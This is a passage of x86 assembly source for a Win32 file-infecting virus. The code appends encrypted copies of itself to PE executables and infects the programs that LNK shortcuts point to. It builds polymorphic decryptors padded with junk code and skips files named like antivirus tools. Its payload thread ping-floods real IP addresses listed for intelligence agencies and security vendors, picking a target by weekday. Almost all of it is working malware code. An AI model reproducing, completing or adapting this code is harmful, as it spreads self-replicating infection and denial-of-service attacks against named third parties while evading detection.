 add edx, [esi+14h]        ; edx = Pointer to raw-data

 push edx                  ; save it in stack

 mov eax, ebx
 add eax, [esi+0Ch]        ; make it VA
                           ; this is our new EIP

 mov [edi+28h], eax
 mov dword ptr [ebp+NewEIP], eax

 mov eax, [esi+10h]        ; get size of Raw-data
 push eax
 add eax, dword ptr [ebp+VirLen]
                           ; increase it
 mov ecx, [edi+3Ch]        ; Align it
 
 call Align

                           ; save it in the file as
                           ; new size of rawdata and
 mov [esi+10h], eax

 pop eax                   ; new Virtual size
 add eax, dword ptr [ebp+VirLen]
 add eax, Buffersize
 mov [esi+08h], eax

 pop edx

 mov eax, [esi+10h]
 add eax, [esi+0Ch]        ; New Size of Image
                           ; save it in the file
 mov [edi+50h], eax
                           ; change section flags to make
                           ; us have write & read access to it
                           ; when the infected file is run
                           ; we also set the code flag.. ;)
 or dword ptr [esi+24h], 0A0000020h
                           ; we write our infection mark to the program,
                           ; so we will not infect it twice
                           ; --> DDoS
 mov dword ptr [edi+4Ch], 'SoDD'
 push edi                  ; save them
 push edx

 push 10d
 pop ecx
 call GetRand              ; get random number ( we'll use the EAX value )

 pop edi                   ; restore and xchange
 pop edx

 mov word ptr [ebp+Key], ax
 push eax                  ; save it 2 times

 lea esi, [ebp+Virus]      ; point to start of virus
 add edi, dword ptr [ebp+MapAddress]
 push edi                  ; save edi

 mov ecx, dword ptr [ebp+VirLen]
                           ; get size of virus in ecx
 rep movsb                 ; append virus !

 pop esi                   ; decrypt the virus
 mov edi, esi
 add esi, NoCrypt
 mov ecx, (CryptSize / 2)

 pop edx                   ; get key from stack
 push edi                  ; save start
 mov edi, esi

EnCryptLoop:               ; decrypt with second layer
 lodsw
 not ax
 inc dx
 xchg dl, dh
 xor ax, dx
 xchg al, ah
 stosw
 loop EnCryptLoop


 pop esi                   ; let's start decrypting with the second layer
 add esi, 05h              ; skip the call
 mov ecx, FirstLSize       ; mov size to ecx
 mov edi, esi
 mov edx, dword ptr [ebp+CryptType]
 xor eax, eax 

XorEncrypt:                ; we use a simple xor
 dec edx
 jnz NegEncrypt
 mov dl, byte ptr [ebp+PolyKey]

@Xor:
 lodsb
  xor al, dl
 stosb
 loop @Xor
 jmp EndPolyCrypto

NegEncrypt:
 dec edx
 jnz NotEncrypt
@Neg:
 lodsb
  neg al
 stosb
 loop @Neg
 jmp End2LCrypto

NotEncrypt:                ; not byte ptr [esi]
 dec edx
 jnz IncEncrypt
@Not:
 lodsb
  not al
 stosb
 loop @Not
 jmp End2LCrypto

IncEncrypt:                ; inc byte ptr [esi]
 dec edx
 jnz DecEncrypt
@Inc:
 lodsb
  dec al
 stosb
 loop @Inc
 jmp End2LCrypto

DecEncrypt:                ; dec byte ptr [esi]
 lodsb
  inc al
 stosb
 loop DecEncrypt

End2LCrypto:

 dec byte ptr [ebp+InfCounter]

                           ; if we succesfully received the dll and the
                           ; function, we create a checksum for the
                           ; file ( needed for dll's and WinNT )
 cmp [ebp+XCheckSumMappedFile], 0h
 je NoCRC

 lea esi, [ebp+CheckSum]
 push esi
 lea esi, [ebp+HeaderSum]
 push esi
 push dword ptr [ebp+NewSize]
 push dword ptr [ebp+MapAddress]
 call dword ptr [ebp+XCheckSumMappedFile]

 test eax, eax             ; if this failed we don't save
 jz NoCRC                  ; the crc

 mov eax, dword ptr [ebp+MapAddress]
                           ; eax points to the dos-stub
 mov esi, [eax+3Ch]        ; esi points to PE-Header
 add esi, eax              ; save CRC in header

 mov eax, dword ptr [ebp+CheckSum]
 mov [esi+58h], eax

NoCRC:
 ret
NoEXE:                      ; let's return and close the infected file
                            ; this will also write it to disk !
 stc
ret


; ***************************************************************************
; ------------------------[ Infect an LNK-FILE ]-----------------------------
; ***************************************************************************


InfectLNK:                 ; if we find a link file, we try to find the
                           ; file it points to. If it is a EXE File we are able
                           ; to infect, we do so
                           ; this will not work with NT-LNK-Files, there we will
                           ; receive only the Drive, where the file is located

                           ; ok, if a LNK is bigger than 1 Meg, it is none
                           ; we check .. ;)
 cmp dword ptr [ebp+WFD_nFileSizeLow] , 0400h
 ja NoLNK

                           ; get the start addy in esi, and and the size
 mov esi, dword ptr [ebp+MapAddress]
 mov ecx, dword ptr [ebp+WFD_nFileSizeLow]
 xor edx, edx
 add esi, ecx              ; we start checking at the end of the file
                           ; for a valid filename in it
CheckLoop:
 cmp byte ptr [esi], 3ah   ; we detect a filename by the 2 dots ( 3ah = : )
 jne LNKSearch             ; in the Drive

 inc edx                   ; there are 2 times 2 dots, when checking from
 cmp edx, 2d               ; the end of the LNK, we need the 2.nd
 je PointsDetected

LNKSearch:                 ; go on searching
 dec esi
 loop CheckLoop
                           ; if we end here, we did not find the two dots.. :(
NoLNK:

ret

PointsDetected:            ; we found the drive ( two dots ... *g* )  
                           ; esi points to them, now we need to check
                           ; for the start of the name..

 cmp byte ptr [esi+1], 0h  ; check if we got an entire path or just a 
 je NoLNK                  ; single drive ( may happen in NT / 2k )


PointsDetected2:
 dec esi
 cmp byte ptr [esi], 0h
 je NameDetected

loop PointsDetected2       ; ecx still takes care, that we don't
                           ; search too far..
jmp NoLNK                  ; nothing found ? return..

NameDetected:              ; ok, esi points now to the name of the file
                           ; so we try a FindFileFirst to get the information
                           ; first, we save the information in the WIN32_FIND_DATA
                           ; then we try to find the file.
 inc esi
 push esi                  ; save it

 lea esi, [ebp+WIN32_FIND_DATA]
 lea edi, [ebp+Buffer]     ; save the old WIN32_FIND_DATA
 mov ecx, 337d             ; and some more data
 rep movsb

 lea edi, [ebp+WIN32_FIND_DATA]
 xor eax, eax              ; clean this field
 mov ecx, 337d
 rep stosb 

 pop esi

 call FindFirstFileProc

 inc eax
 jz RestoreLNK             ; If there are no files, we return
 dec eax
                           ; otherwise we save the handle 

                           ; if we went here, we know the file exists
                           ; esi still points to the filename including the
                           ; directory, we save this in the win32_Find_DATA
                           ; field, because the name there contains no path

 lea edi, [ebp+WFD_szFileName]
 mov ecx, 259d             ; we just move 259 Bytes, so there is still a ending
                           ; Zero if the name is longer and we just get a simple error
                           ; and not an SEH or some other shit
 rep movsb
 lea esi, [ebp+WFD_szFileName]
 call InfectFile           ; esi points to the filename again, so we infect it ;)

 push dword ptr [ebp+LNKFindHandle]
 call dword ptr [ebp+XFindClose]

RestoreLNK:
 lea edi, [ebp+WIN32_FIND_DATA]
 lea esi, [ebp+Buffer]     ; restore the old WIN32_FIND_DATA
 mov ecx, 337d             ; and some other data
 rep movsb

 ret                       ; return to find more files

LNKFindHandle dd 0h        ; here we save the search-handle

; ***************************************************************************
; ---------------------[ The evil Part: the Payload ]------------------------
; ***************************************************************************



PayLoad:                   ; here we handle the payload of the virus *eg*

 cmp dword ptr [ebp+W32Handle],0
 jne ExecuteHost

 cmp dword ptr [ebp+XCreateThread],0
 je ExecuteHost            ; we better check this, cause this api does not exist in 2k


 lea eax, [ebp+SystemTime] ; retrieve current date, time,.. whatever
 push eax
 call dword ptr [ebp+XGetSystemTime]

 lea esi, [ebp+wDayOfWeek] ; get the day
 xor eax, eax
 lodsw

 shl eax, 2h               ; multiply with 4
                           ; get Target
 lea esi, [ebp+TargetTable]
 add esi, eax
 lea edi, [ebp+Target_IP]  ; write IP to Destination Address Field
 movsd
                           ; we get a nice target for the payload
                           ; and create a new thread to fulfill it ;)

 push offset threadID      ; here we save the thread ID
 push 0h
 push 0h
 push offset PingFlood     ; here starts the code of the new thread
 push 0h
 push 0h
 call dword ptr [ebp+XCreateThread]

 jmp ExecuteHost           ; we're finished, so we execute the host-file

PingFlood:                 ; this is the thread of the payload !
                           ; here are we doing the really evil thingies ;)
                           ; we will start pinging a server ;P

 lea eax, [ebp+offset WSA_DATA]
 push eax                  ; where is it..
 push 0101h                ; required version
 call dword ptr [ebp+XWSAStartup]

 push 1                    ; We want to use the icmp protocoll
 push 3                    ; SOCK_STREAM
 push 2                    ; Address Format
 call dword ptr [ebp+Xsocket]

 mov dword ptr [ebp+ICMP_Handle], eax

 push 4                    ; set the options ( timeout, not really
                           ; nessecairy in this case *g* )
 lea eax, [ebp+offset Timeout]
 push eax
 push 1006h
 push 0FFFFh
 push eax
 call dword ptr [ebp+Xsetsockopt]

                           ; we need to create a checksum for the packet
 lea esi, [ebp+ICMP_Packet]; nothing serious just some additions

 push 6                    ; we do this for 6 words
 pop ecx                   ; = 12 bytes
 xor edx, edx
 
CreateICMP_CRC:            ; load one
  lodsw
  movzx eax, ax            ; mov it to eax ( clean upper part of eax )
  add edx, eax             ; add it to edx ( we just add them all )
 loop CreateICMP_CRC

 movzx eax, dx             ; add the lower ( dx ) and the upper part of
 shr edx, 16d              ; edx together in eax
 add eax, edx

 movzx edx, ax             ; save ax in edx
 shr eax, 16d              ; mov upper part of eax to ax ( clean upper part )
 add eax, edx              ; add old ax to new ax ( add upper part to lower part )

 not eax                   ; eax = - 1 * ( eax + 1 )
                           ; this is our checksum
 mov word ptr [ebp+ICMP_CRC], ax


 push 16d                  ; get it out, we send our packet !
 lea eax, [ebp+offset Info]
 push eax
 push 0
 push 12d
 lea eax, [ebp+offset ICMP_Packet]
 push eax
 push dword ptr [ebp+ICMP_Handle]
 call dword ptr [ebp+Xsendto]

CloseSocket:               ; close the socket, to stay stable ;)
 push dword ptr [ebp+ICMP_Handle]
 call dword ptr [ebp+Xclosesocket]
 call dword ptr [ebp+XWSACleanup]


jmp PingFlood              ; heh that was fun, let's do it again ;)


Timeout     dd 100000d     ; 10000 ms Timeout ( we don't really care about it *g* )
Info:
            dw 2h
            dw 0h
Target_IP   db 0d, 0d, 0d, 0d
            dd 0h          ; there we will fill in the target ip address ;)
ICMP_Packet db 8h
            db 0h
ICMP_CRC    dw 0h          ; for the CRC Calculation of the ping
            dd 0h
            dd 0h
            dd 0h
ICMP_Handle dd 0h          ; the handle of the open Socket

TargetTable:               ; these are our targets
                           ; please note again, that i don't want to damage one
                           ; of these servers ! I choose them because I think that
                           ; they will stand such an attack if anyone will ever release this
                           ; into the wild !!!

 db  62d, 156d, 146d, 231d ; Sunday    = www.bundesnachrichtendienst.de
 db 195d, 154d, 220d,  34d ; Monday    = French Secret Service ( dgse.citeweb.net )
 db 216d, 122d,   8d, 245d ; Tuesday   = www.avp.com ( AV )
 db 216d,  41d,  20d,  75d ; Wednesday = www.lockdown2000.com
 db 194d, 252d,   6d,  47d ; Thursday  = www.f-secure.com 
 db 208d, 226d, 167d,  23d ; Friday    = www.norton.com
 db 205d, 178d,  21d,   3d ; Saturday  = www.zonelabs.com


; ***************************************************************************
; -------------------------[ Align-Procedure ]-------------------------------
; ***************************************************************************
                           ; lets align the size..
                           ; eax - size
                           ; ecx - base
Align:
 push edx
 xor edx, edx
 push eax
 div ecx
 pop eax
 sub ecx, edx
 add eax, ecx
 pop edx                   ; eax - new size
ret


; ***************************************************************************
; --------------------------[ FindFile Procedures ]--------------------------
; ***************************************************************************


FindFirstFileProc:
 lea eax, [ebp+WIN32_FIND_DATA]
 push eax
 push esi
 call dword ptr [ebp+XFindFirstFileA]
 mov dword ptr [ebp+FindHandle], eax
ret

FindNextFileProc:
 lea edi, [ebp+WFD_szFileName]
 mov ecx, 276d             ; we clear these fields !
 xor eax, eax
 rep stosb
 
 lea eax, [ebp+WIN32_FIND_DATA]
 push eax
 mov eax, dword ptr [ebp+FindHandle]
 push eax
 call dword ptr [ebp+XFindNextFileA]
ret

CheckFileName:
 pushad
 lea esi, [ebp+WFD_szFileName]
 mov edi, esi
 mov ecx, 260d

ConvertLoop:               ; Convert to upper cases
  lodsb
  cmp al, 96d
  jb Convert 
  cmp al, 123d
  ja Convert
  or al, al
  jz EndConvert 
  sub al, 32d
Convert:
  stosb
 loop ConvertLoop

EndConvert:
 lea edi, [ebp+WFD_szFileName]
 lea esi, [ebp+FileNames]
 mov ecx, 3h

FileNameCheck:             ; check for av-names
 push ecx                  ; i don't want to infect them
 mov ecx, 260d

CheckON: 
 lodsb
 repnz scasb
 or ecx, ecx
 jnz AVFile

 pop ecx
 inc esi
loop FileNameCheck

 jmp EndFileNameCheck


AVFile:
 mov al, byte ptr [esi]    ; check if the second char also matches
 cmp byte ptr [edi], al
 je GotAVFile 

 dec esi
 jmp CheckON

GotAVFile:
 pop ecx                   ; clear stack
 popad
 stc                       ; set carriage flag 
 ret

EndFileNameCheck:
 popad
 clc
 ret


 FileNames db 'AV'         ; we avoid these names
           db 'AN'         ; so we will not infect an AV and
           db 'DR'         ; alert the user

;****************************************************************************
; ---------------------[ Checks for PE / MZ Signs ]--------------------------
; ***************************************************************************
                           ; we check here for PE and MZ signs
                           ; to identify the Executable we want to infect
                           ; I do this a little bit different than usual *g*
CheckPESign:
 cmp dword ptr [edi], 'FP' ; check if greater or equal to PF
 jae NoPESign

 cmp dword ptr [edi], 'DP' ; check if lower or equal to PD
 jbe NoPESign
 
 clc                       ; all that's left is PE
 ret
 
NoPESign:
 stc                       ; set carriage flag
 ret

CheckMZSign:
 cmp word ptr [esi], '[M'
 jae NoPESign

 cmp word ptr [esi], 'YM'
 jbe NoPESign

 clc
 ret
ret

; ***************************************************************************
; ----------------[ Generate a pesudo-random Number ]------------------------
; ***************************************************************************

GetRand:
                           ; generate a pseudo-random NR.
                           ; based on some initial registers
 push ecx                  ; and the Windows - Ontime
 add ecx, eax
 call dword ptr [ebp+XGetTickCount]
 add eax, ecx
 add eax, ecx
 add eax, edx
 add eax, edi
 add eax, ebp
 add eax, dword ptr [ebp+PolyLen]
 add eax, dword ptr [ebp+LoopLen]

 sub eax, esi
 sub eax, ebx

 pop ecx
 add eax, ecx

 add al, byte ptr [ebp+Reg1]
 add ah, byte ptr [ebp+Reg2]
 
 or eax, eax
 jne GetOutRand
 mov eax, 87654321h
 inc eax

GetOutRand:
 xor edx, edx              ; clean edx ( needed to be able to divide later )
 div ecx                   ; Random Numer is in EAX
                           ; RND No. 'till ECX in EDX
ret

; ***************************************************************************
; ----------------------[ Generate a Poly Decryptor ]------------------------
; ***************************************************************************


genPoly:
 and dword ptr [ebp+PolyLen], 0h

 push 10h
 pop ecx
 call GetRand              ; get a random number to start
                           ; and save it as the new key used for all files

 mov byte ptr [ebp+PolyKey], al

 call GetRegs

 lea edi, [ebp+PDecrypt]   ; here starts the decryptor

 call RandJunk
                           ; we have 3 different ways to put 
                           ; the size in ecx and 3 different ways
                           ; to get the starting offset in esi
 push 2h                   ; divide by 2
 pop ecx
 call GetRand              ; get a random number to decide what we do
                           ; first
                           ; we need these 2 values before we start the
                           ; decryption loop !

                           ; if edx = 1 we use the second one
 dec edx                   ; chose the Order
 jz SecondOrder
FirstOrder: 
 call GenerateESI          ; esi comes first and ecx follows
 call RandJunk
 call GenerateECX          ; and 4 different ways to get size in exc
 jmp Polypreparefinished   ; so there is nothing static here !

SecondOrder:               ; ecx comes first and esi follows
 call GenerateECX
 call RandJunk
 call GenerateESI

Polypreparefinished:       ; we finished the preparing and can start the loop
                           ; we need a 
                           ; xor byte ptr [esi], key   ( or other crypto )
                           ; inc esi / add esi, 1h
                           ; loop Decryptor / dec ecx , jnz Above ..

                           ; lenght of loop = 0
 and dword ptr [ebp+LoopLen], 0
                           ; now we choose the way we crypt this thing !

 push 5h
 pop ecx
 call GetRand
 mov dword ptr [ebp+CryptType], edx
 
XorDecrypt:                ; we use a simple XOR BYTE PTR [ESI], KEY
 dec edx
 jnz NegDecrypt

 mov ax, 3680h             ; xor byte ptr [esi]
 stosw
 
 mov al, byte ptr [ebp+PolyKey]
 stosb
                           ; increase sizes ( we will add the last 2 bytes later )
 add dword ptr [ebp+LoopLen], 1h
 add dword ptr [ebp+PolyLen], 1h

 jmp EndPolyCrypto

NegDecrypt:                ; neg byte ptr [esi]
 dec edx
 jnz NotDecrypt
 mov ax, 1EF6h
 stosw
 jmp EndPolyCrypto

NotDecrypt:                ; not byte ptr [esi]
 dec edx
 jnz IncDecrypt
 mov ax, 16F6h
 stosw
 jmp EndPolyCrypto

IncDecrypt:                ; inc byte ptr [esi]
 dec edx
 jnz DecDecrypt
 mov ax, 06FEh
 stosw
 jmp EndPolyCrypto

DecDecrypt:                ; dec byte ptr [esi]
 mov ax, 0EFEh
 stosw


EndPolyCrypto:             ; add the last 2 bytes
 add dword ptr [ebp+LoopLen], 2h
 add dword ptr [ebp+PolyLen], 2h

 call RandJunk             ; more junk.. ;)

                           ; now we need to increase esi
                           ; to crypt the next byte
 push 3h
 pop ecx
 call GetRand

IncESI1:
 dec edx
 jnz IncESI2

 mov al, 46h               ; do a simple inc esi
 stosb

 jmp EndIncESI

IncESI2:                   ; add esi, 1h
 dec edx
 jnz IncESI3
 
 mov al, 83h
 stosb
 mov ax, 01C6h
 stosw

 jmp EndIncESI2

IncESI3:                   ; clc, adc esi, 1h

 mov eax, 01d683f8h
 stosd

 add dword ptr [ebp+LoopLen], 1h
 add dword ptr [ebp+PolyLen], 1h

EndIncESI2:
 add dword ptr [ebp+LoopLen], 2h
 add dword ptr [ebp+PolyLen], 2h
 
EndIncESI:
 add dword ptr [ebp+LoopLen], 1h
 add dword ptr [ebp+PolyLen], 1h

 call RandJunk             ; more, and more..

                           ; now esi is incremented and we just have to do
                           ; the loop
 push 3h
 pop ecx
 call GetRand
LoopType1:                 ; we use the most common form : loop ;)
 dec edx
 jnz LoopType2

 mov al, 0e2h
 stosb

 call StoreLoopLen

 jmp EndLoopType

LoopType2:                 ; we do a dec ecx, jnz
 dec edx
 jnz LoopType3
 
 mov ax, 7549h
 stosw                     ; correct Loop Size ( dec ecx = 1 byte )
 add dword ptr [ebp+LoopLen], 1h
 call StoreLoopLen

 add dword ptr [ebp+PolyLen], 1h

 jmp EndLoopType

LoopType3:
 mov eax, 0F98349h          ; dec ecx cmp ecx, 0h
 stosd
 add dword ptr [ebp+LoopLen], 4h
 mov al, 75h                ; jne
 stosb
 add dword ptr [ebp+PolyLen], 3h
 call StoreLoopLen

EndLoopType:
 add dword ptr [ebp+PolyLen], 2h

 mov byte ptr [edi], 0C3h  ; save the ending ret
 add dword ptr [ebp+PolyLen], 2h
 

 mov eax, VirusSize        ; calculate the new size for the virus
 add eax, dword ptr [ebp+PolyLen]
 mov dword ptr [ebp+VirLen], eax

ret

StoreLoopLen:
 xor eax, eax              ; calculate the size for the loop
 mov ax, 100h
 sub eax, dword ptr [ebp+LoopLen]
 sub eax, 2h
 stosb
ret

; ***************************************************************************
; --------------------------[ Insert Junk Code  ]----------------------------
; ***************************************************************************
RandJunk:                  ; edi points to the place where they will be stored
                           ; we will insert 1-8 junk instructions
 push 7d                   ; each time this routine is called
 pop ecx
 call GetRand
 xchg ecx, edx
 inc ecx
 
 push ecx


RandJunkLoop:
 push ecx

 push 8h
 pop ecx
 call GetRand              ; get a random number from 0 to 7
 xchg eax, edx

 lea ebx, [ebp+OpcodeTable]
 xlat                      ; get the choosen opcode
 stosb                     ; and save it to edi
 xor eax, eax              ; clean eax
                           ; get first Register
 mov al, byte ptr [ebp+Reg1]
 shl eax, 3h               ; multiply with 8
 add eax, 0c0h             ; add base
                           ; add the second register
 add al, byte ptr [ebp+Reg2]
 stosb                     ; save opcode

XchangeRegs:               ; we get new ones and exchange them
 Call GetRegs              ; cause the rnd - generator relies on them *g*
 mov al, byte ptr [ebp+Reg1]
 mov ah, byte ptr [ebp+Reg2]
 mov byte ptr [ebp+Reg1], ah
 mov byte ptr [ebp+Reg2], al 


 pop ecx                   ; restore ecx
 loop RandJunkLoop         ; and loop

 pop ecx                   ; we need the additional lenght
 shl ecx, 1                ; multiply with 2 
                           ; save it
 add dword ptr [ebp+LoopLen], ecx
 add dword ptr [ebp+PolyLen], ecx
 

ret

OpcodeTable:
 db 08Bh                   ; mov
 db 033h                   ; xor
 db 00Bh                   ; or
 db 02Bh                   ; sub
 db 003h                   ; add
 db 023h                   ; and
 db 013h                   ; adc
 db 01Bh                   ; sbb


GetRegs:                   ; select two registers to use
                           ; set to Error
 pushad
 mov byte ptr [ebp+Reg1], -1
 mov byte ptr [ebp+Reg2], -1

 lea edi, [ebp+Reg1]
 mov ecx, 2
                           ; now we choose 2 registers we use 

NextReg:                   ; to make the junk code look realistic
 push ecx
 push 8h
 pop ecx
 call GetRand
 pop ecx

 cmp edx, 1h               ; we will not use ECX
 je NextReg
 cmp edx, 4h               ; ESP
 je NextReg
 cmp edx, 6h               ; or ESI, cause these values are important
 je NextReg                ; for the decryptor or the virus to work.
 mov al, dl                ; save it
 stosb
 loop NextReg

 popad
ret

; ***************************************************************************
; -------------------------[ Get esi from stack ]----------------------------
; ***************************************************************************

GenerateESI:
                           ; the first thing we do is to get the 
                           ; start of the crypted code, this is simpel,
                           ; it is our return address, so we get it from
                           ; stack
                           ; there are 3 different ways we can do this
 push 3h
 pop ecx
 call GetRand
 dec edx                   ; which way to we use ?

 jnz ESI2

ESI1:
 lea esi, [ebp+movESI]     ; use the mov esi, [esp] instruction
 movsw                     ; 3 bytes long
 movsb
 add dword ptr [ebp+PolyLen], 3h 

 jmp EndESI                ; get back


ESI2:                      ; we simply pop esi and push it again
 dec edx
 jnz ESI3

 mov al, 5eh               ; pop esi
 stosb
 mov al, 56h
 stosb                     ; push esi
 add dword ptr [ebp+PolyLen],2h
 jmp EndESI


ESI3:
 push 5h
 pop ecx
 call GetRand
 xchg eax, edx
 cmp al, 1h                ; if we got ecx, we use eax
 jne ESI3b
 xor eax, eax

ESI3b:
 mov edx, eax
 push edx                  ; save edx
 add eax, 58h              ; pop a register

 stosb

 pop eax                   ; push the value again
 push eax
 add eax, 50h
 stosb

 mov al, 08bh              ; and finally move it to esi
 stosb
 pop eax
 mov al, 0f0h
 add al, dl
 stosb
 add dword ptr [ebp+PolyLen], 4h

EndESI:
 ret

                           ; code to retrieve the start of crypt-code
 movESI db 8bh, 34h, 24h   ; mov esi, [esp]


; ***************************************************************************
; --------------------------[ Move the size to ECX ]-------------------------
; ***************************************************************************

GenerateECX:               ; here we put the size of the crypted
                           ; part in ecx

 push 3h
 pop ecx
 call GetRand              ; random Nr in edx
 inc edx                   ; increase

ECX1:                      ; use a simple mov
 dec edx
 jnz ECX2

 mov al, 0b9h              ; mov
 call StoreALValue

 jmp EndECX

ECX2:                      ; let's use a push ( value )
 dec edx                   ; pop ecx
 jnz ECX3

 mov al, 068h              ; push
 call StoreALValue
 
 mov al, 59h               ; save the pop ecx
 stosb
 add dword ptr [ebp+PolyLen], 1h

 jmp EndECX

ECX3:
 push -1
 pop ecx
 call GetRand
 mov eax, VirusSize
 shl edx, 26d
 shr edx, 26d
 sub eax, edx

 push eax                  ; mov ecx, Size - X
 mov al, 0b9h
 stosb                     ; and the size we need to decrypt
 pop eax
 stosb
 call StoShrEAX

 mov ax, 0c181h            ; add ecx, X
 stosw
 xor eax, eax
 mov al, dl
 
 stosb
 call StoShrEAX
 add dword ptr [ebp+PolyLen], 11d

 jmp EndECX                ; finish


StoreECX:                  ; save the mov
 push ax                   ; save the register

 mov al, 0b8h              ; save the mov reg, size
 add al, dl
 call StoreALValue

 mov al, 03h               ; add ecx, reg
 stosb
 pop ax                    ; get the chosen register
 add al, 0c8h
 stosb

 add dword ptr [ebp+PolyLen], 4h

 EndECX:                   ; let's return
ret


StoShrEAX:                 ; to save dwords backwards
 push 3
 pop ecx
StoShrEAXLoop:
 shr eax, 8
 stosb
 loop StoShrEAXLoop
ret


StoreALValue:              ; we store the instruction in al
 stosb                     ; and the size we need to decrypt
 mov eax, FirstLSize       ; eax, size
 stosb
 call StoShrEAX

 add dword ptr [ebp+PolyLen], 5h
 add dword ptr [ebp+LoopLen], 5h
ret


; ***************************************************************************
; -------------------[ Data which does not travel ]--------------------------
; ***************************************************************************
VirusEnd:                  ; ok, this data will travel, but will be generated
                           ; new on each run

PDecrypt:                  ; here will we add the polymorphic
                           ; decryption routine later, but not included
                           ; into 1.st generation
 ret                       ; so we just return

 db 150d dup (0h)          ; we keep 150 bytes free, so we have a buffer
                           ; for the poly decryptor



                           ; here we save the data which does not
                           ; travel which each copy of the virus

 PolyKey   db (?)          ; key for the poly decryptor
 PolyLen   dd (?)          ; lenght of decryptor
 VirLen    dd (?)          ; virus lenght + decryptor
 LoopLen   dd (?)          ; lenght of the decryption loop
 CryptType dd (?)          ; we save which kind of encryption we use
 
 Reg1      db (?)          ; here we save the registers we use for the junk
 Reg2      db (?)          ; code

 SEH_Save  dd (?)          ; We save the original SEH

                           ; Handles of the dll's we use
 K32Handle dd (?)          ; Kernel32.dll might be nessecairy *g*
 IHLHandle dd (?)          ; Imagehlp.dll to create checksums
 ADVHandle dd (?)          ; Advapi32.dll for registry access
 W32Handle dd (?)          ; Winsck32.dll for pinging

                           ; The Offsets of the API's we use
 XLoadLibraryA    dd (?)   ; Here we save their Offset
 XGetProcAddress  dd (?)

 XFindFirstFileA       dd (?)
 XFindNextFileA        dd (?)
 XFindClose            dd (?)
 XCreateFileA          dd (?)
 XSetFileAttributesA   dd (?)
 XCloseHandle          dd (?)
 XCreateFileMappingA   dd (?)
 XMapViewOfFile        dd (?)
 XUnmapViewOfFile      dd (?)
 XGetWindowsDirectoryA dd (?)
 XGetSystemDirectoryA  dd (?)
 XGetCurrentDirectoryA dd (?)
 XSetCurrentDirectoryA dd (?)
 XGetFileAttributesA   dd (?)
 XGetTickCount         dd (?)
 XCreateThread         dd (?)
 XGetSystemTime        dd (?)

 XCheckSumMappedFile   dd (?)


 XRegOpenKeyExA        dd (?)
 XRegQueryValueExA     dd (?)
 XRegCloseKey          dd (?)

 Xsocket               dd (?)
 XWSACleanup           dd (?)
 XWSAStartup           dd (?)
 Xclosesocket          dd (?)
 Xsendto               dd (?)
 Xsetsockopt           dd (?)

                           ; Data to search Kernel
 KernelAddy   dd (?)       ; Pointer to kernel PE-Header
 MZAddy       dd (?)       ; Pointer to kernel MZ-Header

 RegHandle    dd (?)       ; Handle to open Reg-Key

                           ; Directory's
 windir  db 7Fh dup (0)    ; here we save the directory's
 curdir  db 7Fh dup (0)    ; we want to infect

                           ; some data for infection
 counter  dw (?)           ; a counter to know how many names we have compared
 ATableVA dd (?)           ; the Address Table VA
 NTableVA dd (?)           ; the Name Pointer Table VA
 OTableVA dd (?)           ; the Name Pointer Table VA

 NewSize   dd (?)          ; we save the new size of the file here
 CheckSum  dd (?)          ; checksum
 HeaderSum dd (?)          ; crc of header

                           ; Data to find files

 WIN32_FIND_DATA         label    byte
 WFD_dwFileAttributes    dd       ?
 WFD_ftCreationTime      FILETIME ?
 WFD_ftLastAccessTime    FILETIME ?
 WFD_ftLastWriteTime     FILETIME ?
 WFD_nFileSizeHigh       dd       ?
 WFD_nFileSizeLow        dd       ?
 WFD_dwReserved0         dd       ?
 WFD_dwReserved1         dd       ?
 WFD_szFileName          db       260d dup (?)
 WFD_szAlternateFileName db       13   dup (?)
 WFD_szAlternateEnding   db       03   dup (?)

 FileHandle              dd       (?)         ; handle of file
 MapHandle               dd       (?)         ; Handle of Map
 MapAddress              dd       (?)         ; offset of Map

 Attributes              dd       (?)         ; saved File-Attributes
 threadID                dd       (?)         ; payload runs in an extra thread
                                              ; we need this buffer for follwing
                                              ; the shortcuts
 Buffer                  db       337d dup (?)
                                              ; this buffer is nessecairy
                                              ; to create a winsock connection ( ping )
 WSA_DATA                db       400d dup (0)

 SystemTime:                                  ; needed to get the current day
  wYear           dw (?)
  wMonth          dw (?)
  wDayOfWeek      dw (?)                      ; Sunday = 0, Monday = 1 .. etc.
  wDay            dw (?)
  wHour           dw (?)
  wMinute         dw (?)
  wSecond         dw (?)
  wMilliseconds   dw (?)


EndBufferData:
; ***************************************************************************
; ------------------------[ That's all folks ]-------------------------------
; ***************************************************************************
end Virus